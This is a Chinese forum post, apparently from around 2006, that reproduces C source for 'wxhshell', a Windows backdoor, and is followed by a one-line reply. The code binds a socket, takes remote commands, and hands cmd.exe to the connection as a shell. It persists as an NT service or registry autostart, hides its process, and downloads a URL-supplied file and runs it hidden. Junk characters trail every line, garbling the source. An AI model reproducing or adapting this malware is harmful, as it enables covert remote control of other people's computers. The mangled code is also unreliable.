%(Icz ?  
    switch(cmd[0]) { );YDtGip J  
  1xvu<|F  
  // 帮助 r.U`Kh]K  
  case '?': { Q,Eo mt  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k;Y5BB  
    break; kq-) ^,{y  
  } (cO:`W6.  
  // 安装 [V`r^  
  case 'i': { 3OB"#Ap8<  
    if(Install()) noj0F::m`j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @2#lI  
    else yf,z$CR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^B^9KEjTz  
    break; x?<FJ"8"k  
    } mR)wX 6  
  // 卸载 vP,n(reM  
  case 'r': { N$tGQ@  
    if(Uninstall()) *n!J=yS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NxILRKwO  
    else `d(ThP;g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^ZCD ~P_=  
    break; \b>] 8Un"  
    } U $UIN#  
  // 显示 wxhshell 所在路径 ?q [T  
  case 'p': { 5:?! =<=  
    char svExeFile[MAX_PATH]; J .%IfN  
    strcpy(svExeFile,"\n\r"); \{D" !e  
      strcat(svExeFile,ExeFile); bI`g|v  
        send(wsh,svExeFile,strlen(svExeFile),0); ),!qTjD  
    break; 6S{l' !s'  
    }  Fk;Rfqq  
  // 重启 ugBCBr  
  case 'b': { % AgUUn&k  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'N(R_q6MW  
    if(Boot(REBOOT)) G+m }MOQP7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MqMQtU9w  
    else { z(~_AN M4,  
    closesocket(wsh); u1.BN>G  
    ExitThread(0); ~>XxGjxe  
    } eJX#@`K  
    break; ji= "DYtL  
    } R@2X3s:  
  // 关机 C_Wc5{  
  case 'd': { '<uq3?5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X wtqi@zlE  
    if(Boot(SHUTDOWN)) \)Cl%Em  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v` r:=K  
    else { phz&zl D  
    closesocket(wsh); .S4u-  
    ExitThread(0); oL<St$1  
    } |[y6Ua0  
    break; dF2RH)Ud  
    } D/' dTrR  
  // 获取shell Qg/rRiV  
  case 's': { 4Po_-4  
    CmdShell(wsh); C9;kpqNG#u  
    closesocket(wsh); c*M} N?|6  
    ExitThread(0); ,"ql5Q4  
    break; cc3 4e  
  } *lb<$E]="!  
  // 退出 >-c8q]()ly  
  case 'x': { K,UMqAmk  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F:ELPs4"  
    CloseIt(wsh); &c #N)U  
    break; T]$U""  
    } #A.@i+Zv  
  // 离开 `$NP> %J-  
  case 'q': { BJ0?kX@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %|4UsWZ  
    closesocket(wsh); y+q5UC|  
    WSACleanup(); WEpoBP CL  
    exit(1); bPMhfK2 %  
    break; wyG;8I  
        } yDS4h(^  
  } R}ecc  
  } !!y a  
XfmwVjy  
  // 提示信息 Q@HV- (A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i mM_H;-X  
} -{A<.a3P}=  
  } .|=\z9_7S8  
eQ}4;^;M-  
  return; <-0]i_4sK  
} azU"G(6y?+  
Y^]rMK/;  
// shell模块句柄 O H7FkR  
int CmdShell(SOCKET sock) .p$(ZH =~  
{ K+iP 6B  
STARTUPINFO si; E)3NxmM#  
ZeroMemory(&si,sizeof(si)); )}ROLe  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (iGTACoF  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B?wq=DoG  
PROCESS_INFORMATION ProcessInfo; 2+O'9F_v  
char cmdline[]="cmd"; We z 5N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q=:|R3U/  
  return 0; BORA(,  
} U ;I9 bK8  
.8|X   
// 自身启动模式 t:c.LFrF  
int StartFromService(void) /L#?zSt  
{ mcok/,/  
typedef struct L8n|m!MOD  
{ lRdChoL$2  
  DWORD ExitStatus; 6zn5UW#q  
  DWORD PebBaseAddress; D#z:()VT(  
  DWORD AffinityMask; ze;KhUPRm  
  DWORD BasePriority; -{_PuJ "  
  ULONG UniqueProcessId; jq-_4}w?C  
  ULONG InheritedFromUniqueProcessId; 3mni>*q7d  
}   PROCESS_BASIC_INFORMATION; y3ikWnx  
59-c<I/}f  
PROCNTQSIP NtQueryInformationProcess; ,2)6s\]/b  
(9h`3#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &~w}_Fjk  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; BluVmM3Vj  
9{uO1O\  
  HANDLE             hProcess; P }uOJVQ_  
  PROCESS_BASIC_INFORMATION pbi; u]gxFG "   
u2[w#   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kNL\m[W8$  
  if(NULL == hInst ) return 0; 0?M:6zf_iv  
[8*)8jP3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]cruF#`%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %%wNZ{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M@ZI\  
KG5>]_GH  
  if (!NtQueryInformationProcess) return 0; ]s748+  
]9,; K;1<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FGQzoS  
  if(!hProcess) return 0; v9UD%@tZ  
:j`s r  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~v"L!=~G;a  
m4yL@d,Yw  
  CloseHandle(hProcess); '%`:+]!  
fxIf|9Qi`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {zFMmPid  
if(hProcess==NULL) return 0; snikn&  
 7[wieYj{  
HMODULE hMod; yCX?!E;La  
char procName[255]; ,v&(YOd  
unsigned long cbNeeded; 8JD,u  
_-Fs# f8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o8vug$=Z  
nNU2([  
  CloseHandle(hProcess); 4H<lm*!^  
?0,Ngrbe  
if(strstr(procName,"services")) return 1; // 以服务启动 dq[xwRU1  
a@*\o+Su  
  return 0; // 注册表启动 Qw)c$93  
} \^%}M!tan  
)F2OT<]m,  
// 主模块 -PQv ?5  
int StartWxhshell(LPSTR lpCmdLine) $tS}LN_!  
{ }iuw5dik+  
  SOCKET wsl; I!?}jo3  
BOOL val=TRUE; &! ?eL  
  int port=0; +d;bjo 2  
  struct sockaddr_in door; PiYxk+N  
1sH& sGy7  
  if(wscfg.ws_autoins) Install(); V$?SR44>nH  
&8 x-o,  
port=atoi(lpCmdLine); BVO<e \>3  
K96<M);:g  
if(port<=0) port=wscfg.ws_port; !0cD$^7  
"-J -k=  
  WSADATA data; O1mKe%'|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,4oo=&  
bY0|N[ g  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o0vUj  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @|%2f@h  
  door.sin_family = AF_INET; 8ITdSg  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); '6Q =#:mc\  
  door.sin_port = htons(port); C73 kJa  
K6)j0 ]K1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { fwf$Co+R:*  
closesocket(wsl); $p?aVO  
return 1; %|i`kYsy  
} ^ovR7+V  
Y.r+wc]  
  if(listen(wsl,2) == INVALID_SOCKET) { h2""9aP !  
closesocket(wsl); 5[u]E~Fl}  
return 1; ,WB{i^TD  
} (*)hD(C5  
  Wxhshell(wsl); hfy_3}_  
  WSACleanup(); "6?0h[uff  
/~f'}]W  
return 0; NTI+  
}~e%J(  
} H+Sz=tg5  
1 Ya`| ?FS  
// 以NT服务方式启动 A$:U'ZG_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j ?(&#  
{ eHDN\QA 2  
DWORD   status = 0; KMjhZap%  
  DWORD   specificError = 0xfffffff; R!N%o~C2-  
"!%l/_p?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; nQ,HMXj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hFl^\$Re  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A=wh@"2  
  serviceStatus.dwWin32ExitCode     = 0; ~O &:C{9=  
  serviceStatus.dwServiceSpecificExitCode = 0; .=jay{  
  serviceStatus.dwCheckPoint       = 0; %Qdn  
  serviceStatus.dwWaitHint       = 0; 7{I0s;R  
1^(ad;BC y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;x@~A^<el  
  if (hServiceStatusHandle==0) return; "~C,bk  
8q}q{8  
status = GetLastError(); exUu7& *:  
  if (status!=NO_ERROR) UQ@L V~6{R  
{ ?oHpFlj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; u($ !z^h  
    serviceStatus.dwCheckPoint       = 0; R',rsGd`6j  
    serviceStatus.dwWaitHint       = 0; d,n 'n  
    serviceStatus.dwWin32ExitCode     = status; &@Be2!%'9K  
    serviceStatus.dwServiceSpecificExitCode = specificError; Y\?"WGL)p  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >e[i5  
    return; (jl D+Y_  
  } 6MMOf\   
cP_.&!T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &AbNWtCV+G  
  serviceStatus.dwCheckPoint       = 0; -fHy-Oh  
  serviceStatus.dwWaitHint       = 0; 8&`LYdzt  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u frL<]A  
} pohp&Tcm  
}oGA-Qc}B  
// 处理NT服务事件,比如:启动、停止 ~g ZLY ls  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q:k}Jl  
{ 'F0e(He@,  
switch(fdwControl) Ks`J([(W&  
{ T !WT;A  
case SERVICE_CONTROL_STOP: )"aV* "  
  serviceStatus.dwWin32ExitCode = 0; PKg@[<g43  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; R3&Iu=g  
  serviceStatus.dwCheckPoint   = 0; !_'ur>iR  
  serviceStatus.dwWaitHint     = 0; 65$+{s  
  { *VhL\IjN]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MJ [m  
  } LR.<&m%~.  
  return; 41?HY{&2  
case SERVICE_CONTROL_PAUSE: /zVOK4BqN+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; B; h"lv  
  break; .jT#:_  
case SERVICE_CONTROL_CONTINUE: l$pm_%@2]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Jgd'1'FOs  
  break; co|aC!7  
case SERVICE_CONTROL_INTERROGATE: EC!02S  
  break; 62o:,IcoG  
}; .Una+Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3E $f)  
} =BAW[%1b  
0 e ~JMUb  
// 标准应用程序主函数 peuZ&yK+"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V/ uP%'cd  
{ iYm-tsER;  
']z{{UNUN  
// 获取操作系统版本 YdC6k?tzS  
OsIsNt=GetOsVer(); rkCx{pe9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4`]^@"{  
]i ,{  
  // 从命令行安装 D_^ nI:  
  if(strpbrk(lpCmdLine,"iI")) Install(); VfC<WVYiZ  
A:N|\Mv2b  
  // 下载执行文件 O6a<`]F  
if(wscfg.ws_downexe) { wX5tp1 ?1J  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ipgC RHE  
  WinExec(wscfg.ws_filenam,SW_HIDE); j8{i#;s!"  
} qqr?!vem6  
f:|1_j  
if(!OsIsNt) { 6J6BF%  
// 如果时win9x,隐藏进程并且设置为注册表启动 J76kkW`5  
HideProc(); QIvVcfM^  
StartWxhshell(lpCmdLine); {e9@-  
} JZ*/,|1}EC  
else ju8q?Nyhs  
  if(StartFromService()) bj0G5dc=  
  // 以服务方式启动 A_ N;   
  StartServiceCtrlDispatcher(DispatchTable); 0c'<3@39k|  
else KNpl:g3{<Q  
  // 普通方式启动 yyRiP|hJ  
  StartWxhshell(lpCmdLine); Ln<`E|[29  
=eXU@B  
return 0; -)]Yr #Q  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八